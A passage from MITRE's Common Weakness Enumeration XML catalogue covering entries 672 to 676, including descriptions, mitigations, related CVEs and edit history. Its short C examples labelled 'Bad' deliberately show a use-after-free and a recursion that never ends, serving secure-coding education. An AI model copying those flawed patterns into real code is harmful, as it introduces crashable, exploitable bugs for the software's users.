                           <xhtml:br/>int length = getMessageLength(message[0]);<xhtml:br/>char *messageBody;<xhtml:br/>
                           <xhtml:br/>if ((length &gt; 0) &amp;&amp; (length &lt; MAX_MESSAGE_SIZE)) {<xhtml:br/>
                           <xhtml:div style="margin-left:1em;">
                              <xhtml:div>messageBody = (char*)malloc(length*sizeof(char));<xhtml:br/>messageBody = &amp;message[1][0];<xhtml:br/>
                                 <xhtml:br/>int success = processMessageBody(messageBody);<xhtml:br/>
                                 <xhtml:br/>if (success == ERROR) {<xhtml:div style="margin-left:1em;">result = ERROR;<xhtml:br/>free(messageBody);</xhtml:div>}</xhtml:div>
                           </xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">printf("Unable to process message; invalid message length");<xhtml:br/>result = FAIL;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>if (result == ERROR) {<xhtml:div style="margin-left:1em;">logError("Error processing message", messageBody);</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>return result;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the call to the method logError includes the messageBody after the memory for messageBody has been released using the free method. This can cause unexpected results and may lead to system crashes. A variable should never be used after its memory resources have been released.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>...<xhtml:br/>messageBody = (char*)malloc(length*sizeof(char));<xhtml:br/>messageBody = &amp;message[1][0];<xhtml:br/>
                     <xhtml:br/>int success = processMessageBody(messageBody);<xhtml:br/>
                     <xhtml:br/>if (success == ERROR) {<xhtml:div style="margin-left:1em;">result = ERROR;<xhtml:br/>logError("Error processing message", messageBody);<xhtml:br/>free(messageBody);</xhtml:div>}<xhtml:br/>...</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2009-3547</Reference>
               <Description>chain: race condition might allow resource to be released before operating on it, leading to NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3547</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP15</Entry_ID>
               <Entry_Name>Faulty Resource Use</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO46-C</Entry_ID>
               <Entry_Name>Do not access a closed file</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM30-C</Entry_ID>
               <Entry_Name>Do not access freed memory</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-672</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-672"/>
         </References>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2010-02-16">Use of a Resource after Expiration or Release</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="673" Name="External Influence of Sphere Definition" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product does not prevent the definition of control spheres from external actors.</Description>
         <Extended_Description>Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Consider a blog publishing tool, which might have three explicit control spheres: the creation of articles, only accessible to a "publisher;" commenting on articles, only accessible to a "commenter" who is a registered user; and reading articles, only accessible to an anonymous reader. Suppose that the application is deployed on a web server that is shared with untrusted parties. If a local user can modify the data files that define who a publisher is, then this user has modified the control sphere. In this case, the issue would be resultant from another weakness such as insufficient permissions.</Intro_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In Untrusted Search Path (CWE-426), a user might be able to define the PATH environment variable to cause the product to search in the wrong directory for a library to load. The product's intended sphere of control would include "resources that are only modifiable by the person who installed the product." The PATH effectively changes the definition of this sphere so that it overlaps the attacker's sphere of control.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Notes>
            <Note Type="Theoretical">A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships, Relevant_Properties</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="674" Name="Uncontrolled Recursion" Abstraction="Class" Structure="Simple" Status="Draft">
      <Description>The product does not properly control the amount of recursion that takes place,  consuming excessive resources, such as allocated memory or the program stack.</Description>
      <Related_Weaknesses>
        <Related_Weakness Nature="ChildOf" CWE_ID="834" View_ID="1000" Ordinal="Primary"/>
      </Related_Weaknesses>
      <Applicable_Platforms>
        <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
      </Applicable_Platforms>
      <Alternate_Terms>
        <Alternate_Term>
          <Term>Stack Exhaustion</Term>
        </Alternate_Term>
      </Alternate_Terms>
      <Modes_Of_Introduction>
        <Introduction>
          <Phase>Implementation</Phase>
          <Note>The uncontrolled recursion is often due to an improper or missing conditional</Note>
        </Introduction>
      </Modes_Of_Introduction>
      <Common_Consequences>
        <Consequence>
          <Scope>Availability</Scope>
          <Impact>DoS: Resource Consumption (CPU)</Impact>
          <Impact>DoS: Resource Consumption (Memory)</Impact>
          <Note>Resources including CPU, memory, and stack memory could be rapidly consumed or exhausted, eventually leading to an exit or crash.</Note>
        </Consequence>
        <Consequence>
          <Scope>Confidentiality</Scope>
          <Impact>Read Application Data</Impact>
          <Note>In some cases, an application's interpreter might kill a process or thread that appears to be consuming too much resources, such as with PHP's memory_limit setting. When the interpreter kills the process/thread, it might report an error containing detailed information such as the application's installation path.</Note>
        </Consequence>
      </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
      <Potential_Mitigations>
        <Mitigation>
          <Phase>Implementation</Phase>
          <Description>Ensure an end condition will be reached under all logic conditions.  The end condition may include testing against the depth of recursion and exiting with an error if the recursion goes too deep. The complexity of the end condition contributes to the effectiveness of this action.</Description>
          <Effectiveness>Moderate</Effectiveness>
        </Mitigation>
        <Mitigation>
          <Phase>Implementation</Phase>
          <Description>Increase the stack size.</Description>
          <Effectiveness>Limited</Effectiveness>
	  <Effectiveness_Notes>Increasing the stack size might only be a temporary measure, since the stack typically is still not very large, and it might remain easy for attackers to cause an out-of-stack fault.</Effectiveness_Notes>
        </Mitigation>
      </Potential_Mitigations>
      <Demonstrative_Examples>
        <Demonstrative_Example>
          <Intro_Text>In this example a mistake exists in the code where the exit condition contained in flg is never called. This results in the function calling itself over and over again until the stack is exhausted.
          </Intro_Text>
          <Example_Code Nature="Bad" Language="C">
	    void do_something_recursive (int flg)<xhtml:br/>
	    {<xhtml:br/>
	    <xhtml:div style="margin-left:1em;">
	      ... // Do some real work here, but the value of flg is unmodified<xhtml:br/>
	      if (flg) { do_something_recursive (flg); }    // flg is never modified so it is always TRUE - this call will continue until the stack explodes<xhtml:br/>
	    </xhtml:div>
	    }<xhtml:br/>
	    int flag = 1; // Set to TRUE<xhtml:br/>
	    do_something_recursive (flag);
          </Example_Code>
          <Body_Text>Note that the only difference between the Good and Bad examples is that the recursion flag will change value and cause the recursive call to return.</Body_Text>
          <Example_Code Nature="Good" Language="C">
	    void do_something_recursive (int flg)<xhtml:br/>
	    {<xhtml:br/>
	    <xhtml:div style="margin-left:1em;">
	      ... // Do some real work here<xhtml:br/>
	      // Modify value of flg on done condition<xhtml:br/>
	      if (flg) { do_something_recursive (flg); }    // returns when flg changes to 0<xhtml:br/>
	    </xhtml:div>
	    }<xhtml:br/>
	    int flag = 1; // Set to TRUE<xhtml:br/>
	    do_something_recursive (flag);<xhtml:br/>
          </Example_Code>
        </Demonstrative_Example>
      </Demonstrative_Examples>
      <Observed_Examples>
        <Observed_Example>
          <Reference>CVE-2007-1285</Reference>
          <Description>Deeply nested arrays trigger stack exhaustion.</Description>
          <Link>https://www.cve.org/CVERecord?id=CVE-2007-1285</Link>
        </Observed_Example>
        <Observed_Example>
          <Reference>CVE-2007-3409</Reference>
          <Description>Self-referencing pointers create infinite loop and resultant stack exhaustion.</Description>
          <Link>https://www.cve.org/CVERecord?id=CVE-2007-3409</Link>
        </Observed_Example>
        <Observed_Example>
          <Reference>CVE-2016-10707</Reference>
          <Description>Javascript application accidentally changes input in a way that prevents a recursive call from detecting an exit condition.</Description>
          <Link>https://www.cve.org/CVERecord?id=CVE-2016-10707</Link>
        </Observed_Example>
        <Observed_Example>
          <Reference>CVE-2016-3627</Reference>
          <Description>An attempt to recover a corrupted XML file infinite recursion protection counter was not always incremented missing the exit condition.</Description>
          <Link>https://www.cve.org/CVERecord?id=CVE-2016-3627</Link>
        </Observed_Example>
        <Observed_Example>
          <Reference>CVE-2019-15118</Reference>
          <Description>USB-audio driver's descriptor code parsing allows unlimited recursion leading to stack exhaustion.</Description>
          <Link>https://www.cve.org/CVERecord?id=CVE-2019-15118</Link>
        </Observed_Example>
      </Observed_Examples>
      <Affected_Resources>
        <Affected_Resource>CPU</Affected_Resource>
      </Affected_Resources>
      <Taxonomy_Mappings>
        <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
          <Entry_ID>A9</Entry_ID>
          <Entry_Name>Denial of Service</Entry_Name>
          <Mapping_Fit>CWE More Specific</Mapping_Fit>
        </Taxonomy_Mapping>
        <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
          <Entry_ID>SFP13</Entry_ID>
          <Entry_Name>Unrestricted Consumption</Entry_Name>
        </Taxonomy_Mapping>
        <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
          <Entry_ID>ASCRM-CWE-674</Entry_ID>
        </Taxonomy_Mapping>
      </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="230"/>
            <Related_Attack_Pattern CAPEC_ID="231"/>
         </Related_Attack_Patterns>
         <References>
        <Reference External_Reference_ID="REF-961" Section="ASCRM-CWE-674"/>
      </References>
      <Content_History>
        <Submission>
          <Submission_Name>CWE Content Team</Submission_Name>
          <Submission_Organization>MITRE</Submission_Organization>
          <Submission_Date>2008-04-11</Submission_Date>
        </Submission>
        <Modification>
          <Modification_Name>Eric Dalci</Modification_Name>
          <Modification_Organization>Cigital</Modification_Organization>
          <Modification_Date>2008-07-01</Modification_Date>
          <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
        </Modification>
        <Modification>
          <Modification_Name>CWE Content Team</Modification_Name>
          <Modification_Organization>MITRE</Modification_Organization>
          <Modification_Date>2008-09-08</Modification_Date>
          <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
        </Modification>
        <Modification>
          <Modification_Name>CWE Content Team</Modification_Name>
          <Modification_Organization>MITRE</Modification_Organization>
          <Modification_Date>2009-03-10</Modification_Date>
          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
        </Modification>
        <Modification>
          <Modification_Name>CWE Content Team</Modification_Name>
          <Modification_Organization>MITRE</Modification_Organization>
          <Modification_Date>2011-03-29</Modification_Date>
          <Modification_Comment>updated Relationships</Modification_Comment>
        </Modification>
        <Modification>
          <Modification_Name>CWE Content Team</Modification_Name>
          <Modification_Organization>MITRE</Modification_Organization>
          <Modification_Date>2011-06-01</Modification_Date>
          <Modification_Comment>updated Common_Consequences</Modification_Comment>
        </Modification>
        <Modification>
          <Modification_Name>CWE Content Team</Modification_Name>
          <Modification_Organization>MITRE</Modification_Organization>
          <Modification_Date>2012-05-11</Modification_Date>
          <Modification_Comment>updated Relationships</Modification_Comment>
        </Modification>
        <Modification>
          <Modification_Name>CWE Content Team</Modification_Name>
          <Modification_Organization>MITRE</Modification_Organization>
          <Modification_Date>2012-10-30</Modification_Date>
          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
        </Modification>
        <Modification>
          <Modification_Name>CWE Content Team</Modification_Name>
          <Modification_Organization>MITRE</Modification_Organization>
          <Modification_Date>2013-02-21</Modification_Date>
          <Modification_Comment>updated Relationships</Modification_Comment>
        </Modification>
        <Modification>
          <Modification_Name>CWE Content Team</Modification_Name>
          <Modification_Organization>MITRE</Modification_Organization>
          <Modification_Date>2014-02-18</Modification_Date>
          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
        </Modification>
        <Modification>
          <Modification_Name>CWE Content Team</Modification_Name>
          <Modification_Organization>MITRE</Modification_Organization>
          <Modification_Date>2014-07-30</Modification_Date>
          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
        </Modification>
        <Modification>
          <Modification_Name>CWE Content Team</Modification_Name>
          <Modification_Organization>MITRE</Modification_Organization>
          <Modification_Date>2017-11-08</Modification_Date>
          <Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
        </Modification>
        <Modification>
          <Modification_Name>CWE Content Team</Modification_Name>
          <Modification_Organization>MITRE</Modification_Organization>
          <Modification_Date>2019-01-03</Modification_Date>
          <Modification_Comment>updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
        </Modification>
        <Modification>
          <Modification_Name>CWE Content Team</Modification_Name>
          <Modification_Organization>MITRE</Modification_Organization>
          <Modification_Date>2019-06-20</Modification_Date>
          <Modification_Comment>updated Related_Attack_Patterns, Relationships, Type</Modification_Comment>
        </Modification>
        <Modification>
          <Modification_Name>CWE Content Team</Modification_Name>
          <Modification_Organization>MITRE</Modification_Organization>
          <Modification_Date>2020-02-24</Modification_Date>
          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
        </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Modes_of_Introduction, Observed_Examples, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
      </Content_History>
    </Weakness>
      <Weakness ID="675" Name="Multiple Operations on Resource in Single-Operation Context" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product performs the same operation on a resource two or more times, when the operation should only be applied once.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="573" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="586" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="102" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Notes>
            <Note Type="Relationship">This weakness is probably closely associated with other issues related to doubling, such as CWE-462 (duplicate key in alist) or CWE-102 (Struts duplicate validation forms). It's usually a case of an API contract violation (CWE-227).</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Relevant_Properties, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2021-10-28">Duplicate Operations on Resource</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="676" Name="Use of Potentially Dangerous Function" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product invokes a potentially dangerous function that could introduce a vulnerability if it is used incorrectly, but the function can also be used safely.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1177" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
               <Impact>Quality Degradation</Impact>
               <Impact>Unexpected State</Impact>
               <Note>If the function is used incorrectly, then it could result in security problems.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
